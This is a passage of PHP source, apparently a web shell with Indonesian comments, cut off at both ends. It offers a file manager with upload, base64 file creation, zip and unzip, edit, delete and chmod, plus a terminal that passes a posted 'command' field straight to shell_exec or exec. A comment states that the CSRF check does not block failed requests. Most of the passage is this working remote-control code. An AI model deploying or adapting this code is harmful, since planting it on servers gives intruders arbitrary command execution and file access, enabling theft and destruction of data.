" . htmlspecialchars($content) . "
= 1024 && $i < count($units) - 1) { $bytes /= 1024; $i++; } return round($bytes, 2) . ' ' . $units[$i]; } function get_file_icon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => 'fa-code text-info', 'js' => 'fa-js text-warning', 'css' => 'fa-css3-alt text-primary', 'html' => 'fa-html5 text-danger', 'json' => 'fa-file-code text-warning', 'txt' => 'fa-file-alt text-secondary', 'pdf' => 'fa-file-pdf text-danger', 'zip' => 'fa-file-archive text-warning', 'rar' => 'fa-file-archive text-warning', '7z' => 'fa-file-archive text-warning', 'tar' => 'fa-file-archive text-warning', 'gz' => 'fa-file-archive text-warning', 'jpg' => 'fa-file-image text-success', 'png' => 'fa-file-image text-success', 'gif' => 'fa-file-image text-success', 'sql' => 'fa-database text-warning', 'py' => 'fa-python text-info', 'sh' => 'fa-terminal text-success', 'exe' => 'fa-cog text-danger', 'md' => 'fa-markdown', 'log' => 'fa-scroll text-warning', ]; return $icons[$ext] ?? 'fa-file text-secondary'; } // Fungsi untuk create file dari base64 function createFileFromBase64($path, $base64Data) { $base64Data = preg_replace('/^data:[^;]+;base64,/', '', $base64Data); $decodedData = base64_decode($base64Data, true); if ($decodedData === false) { return false; } return file_put_contents($path, $decodedData); } // Fungsi untuk zip file/folder function zipDirectory($source, $destination) { if (!extension_loaded('zip') || !file_exists($source)) { return false; } $zip = new ZipArchive(); if (!$zip->open($destination, ZipArchive::CREATE | ZipArchive::OVERWRITE)) { return false; } $source = realpath($source); if (is_dir($source) === true) { $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST ); foreach ($files as $file) { $file = realpath($file); if (is_dir($file)) { $zip->addEmptyDir(str_replace($source . '/', '', $file . '/')); } else if (is_file($file)) { $zip->addFile($file, str_replace($source . '/', '', $file)); } } } else if (is_file($source)) { $zip->addFile($source, basename($source)); } return $zip->close(); } // Fungsi untuk unzip function unzipFile($source, $destination) { if (!extension_loaded('zip') || !file_exists($source)) { return false; } $zip = new ZipArchive(); if ($zip->open($source) !== true) { return false; } // Buat folder tujuan jika belum ada if (!is_dir($destination)) { mkdir($destination, 0755, true); } $zip->extractTo($destination); $zip->close(); return true; } // Fungsi untuk copy folder rekursif function recurse_copy($src, $dst) { $dir = opendir($src); @mkdir($dst, 0755, true); while (false !== ($file = readdir($dir))) { if (($file != '.') && ($file != '..')) { if (is_dir($src . '/' . $file)) { recurse_copy($src . '/' . $file, $dst . '/' . $file); } else { copy($src . '/' . $file, $dst . '/' . $file); } } } closedir($dir); } // Handle POST Requests if ($_SERVER['REQUEST_METHOD'] === 'POST') { // Verify CSRF (tapi tidak block jika gagal) verify_csrf(); // File Upload if (isset($_FILES['upload_file'])) { $files = $_FILES['upload_file']; $success_count = 0; if (is_array($files['name'])) { for ($i = 0; $i < count($files['name']); $i++) { if ($files['error'][$i] === UPLOAD_ERR_OK) { $target = $currentDir . '/' . basename($files['name'][$i]); if (move_uploaded_file($files['tmp_name'][$i], $target)) { chmod($target, 0644); $success_count++; } } } $message = "✓ $success_count files uploaded successfully"; } else { if ($files['error'] === UPLOAD_ERR_OK) { $target = $currentDir . '/' . basename($files['name']); if (move_uploaded_file($files['tmp_name'], $target)) { chmod($target, 0644); $message = "✓ File uploaded: " . basename($files['name']); } } } $_SESSION['message'] = $message; header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($currentDir)); exit; } // Create File/Folder elseif (isset($_POST['create_item'])) { $name = trim($_POST['name']); $type = $_POST['type']; if (!empty($name)) { $path = $currentDir . '/' . $name; if ($type === 'file') { $content = $_POST['content'] ?? ''; if (file_put_contents($path, $content)) { chmod($path, 0644); $message = "✓ File created: $name"; } } else { if (mkdir($path, 0755, true)) { chmod($path, 0755); $message = "✓ Folder created: $name"; } } $_SESSION['message'] = $message; header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($currentDir)); exit; } } // Create File from Base64 elseif (isset($_POST['create_base64'])) { $filename = trim($_POST['base64_filename']); $base64_data = trim($_POST['base64_data']); if (!empty($filename) && !empty($base64_data)) { $path = $currentDir . '/' . $filename; if (createFileFromBase64($path, $base64_data)) { chmod($path, 0644); $message = "✓ File created from base64: $filename"; } else { $message = "✗ Failed to create file from base64"; } $_SESSION['message'] = $message; header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($currentDir)); exit; } } // Zip Operation elseif (isset($_POST['zip_action'])) { $items = $_POST['items'] ?? []; $zip_name = trim($_POST['zip_name']) ?: 'archive_' . date('Ymd_His') . '.zip'; if (empty($items)) { $message = "✗ No items selected"; } else { // Buat temporary folder untuk zip $temp_dir = sys_get_temp_dir() . '/' . uniqid('zip_'); mkdir($temp_dir, 0755, true); // Copy file/folder ke temp foreach ($items as $item) { $source = $currentDir . '/' . basename($item); $dest = $temp_dir . '/' . basename($item); if (is_dir($source)) { // Copy folder rekursif recurse_copy($source, $dest); } else { copy($source, $dest); } } // Create zip $zip_path = $currentDir . '/' . $zip_name; if (zipDirectory($temp_dir, $zip_path)) { chmod($zip_path, 0644); $message = "✓ Archive created: $zip_name"; } else { $message = "✗ Failed to create archive"; } // Cleanup temp deleteDirectory($temp_dir); } $_SESSION['message'] = $message; header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($currentDir)); exit; } // Unzip Operation elseif (isset($_POST['unzip_action'])) { $file = $_POST['unzip_file'] ?? ''; $extract_to = $_POST['extract_to'] ?? ''; if (!empty($file)) { $filepath = $currentDir . '/' . basename($file); if (file_exists($filepath) && is_file($filepath)) { $ext = strtolower(pathinfo($filepath, PATHINFO_EXTENSION)); if (in_array($ext, ['zip', 'rar', '7z', 'tar', 'gz'])) { // Tentukan folder tujuan if (empty($extract_to)) { $extract_dir = $currentDir . '/' . pathinfo($file, PATHINFO_FILENAME); } else { $extract_dir = $currentDir . '/' . $extract_to; } if (unzipFile($filepath, $extract_dir)) { $message = "✓ Archive extracted to: " . basename($extract_dir); } else { $message = "✗ Failed to extract archive"; } } else { $message = "✗ Not a supported archive format"; } } else { $message = "✗ File not found"; } $_SESSION['message'] = $message; header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($currentDir)); exit; } } // Terminal Command elseif (isset($_POST['command'])) { $command = trim($_POST['command']); if (!empty($command)) { chdir($currentDir); // Save to history if (!isset($_SESSION['command_history'])) { $_SESSION['command_history'] = []; } array_unshift($_SESSION['command_history'], $command); $_SESSION['command_history'] = array_slice($_SESSION['command_history'], 0, 50); // Execute command $output = ''; if (function_exists('shell_exec')) { $output = shell_exec($command . ' 2>&1'); } elseif (function_exists('exec')) { exec($command . ' 2>&1', $output_array, $return_code); $output = implode("\n", $output_array); $output .= "\n[Exit Code: $return_code]"; } $_SESSION['terminal_output'] = $output; header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($currentDir)); exit; } } // Bulk Operations elseif (isset($_POST['bulk_action'])) { $action = $_POST['bulk_action']; $items = $_POST['items'] ?? []; foreach ($items as $item) { $path = $currentDir . '/' . basename($item); switch ($action) { case 'delete': if (is_file($path)) { unlink($path); } elseif (is_dir($path)) { // Hapus folder rekursif deleteDirectory($path); } break; case 'chmod': $mode = isset($_POST['chmod_value']) ? octdec($_POST['chmod_value']) : 0644; chmod($path, $mode); break; } } $message = "✓ Bulk operation completed"; $_SESSION['message'] = $message; header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($currentDir)); exit; } // Edit File elseif (isset($_POST['edit_file'])) { $file = $_POST['file'] ?? ''; $content = $_POST['content'] ?? ''; if (!empty($file)) { $path = $currentDir . '/' . basename($file); if (file_put_contents($path, $content)) { $message = "✓ File saved: $file"; $_SESSION['message'] = $message; header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($currentDir)); exit; } } } // Jika ada POST tanpa action yang dikenali, redirect ke halaman header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($currentDir)); exit; } // Handle GET Actions if (isset($_GET['action'])) { $file = isset($_GET['file']) ? $_GET['file'] : ''; if (!empty($file)) { $filepath = $currentDir . '/' . basename($file); } else { $filepath = ''; } switch ($_GET['action']) { case 'delete': if (file_exists($filepath)) { if (is_file($filepath)) { unlink($filepath); } else { // Hapus folder rekursif deleteDirectory($filepath); } $message = "✓ Deleted successfully"; } break; case 'download': if (file_exists($filepath) && is_file($filepath)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($filepath) . '"'); header('Content-Length: ' . filesize($filepath)); readfile($filepath); exit; } break; case 'view': if (file_exists($filepath) && is_file($filepath)) { $content = file_get_contents($filepath); $ext = pathinfo($filepath, PATHINFO_EXTENSION); echo "
" . htmlspecialchars($content) . "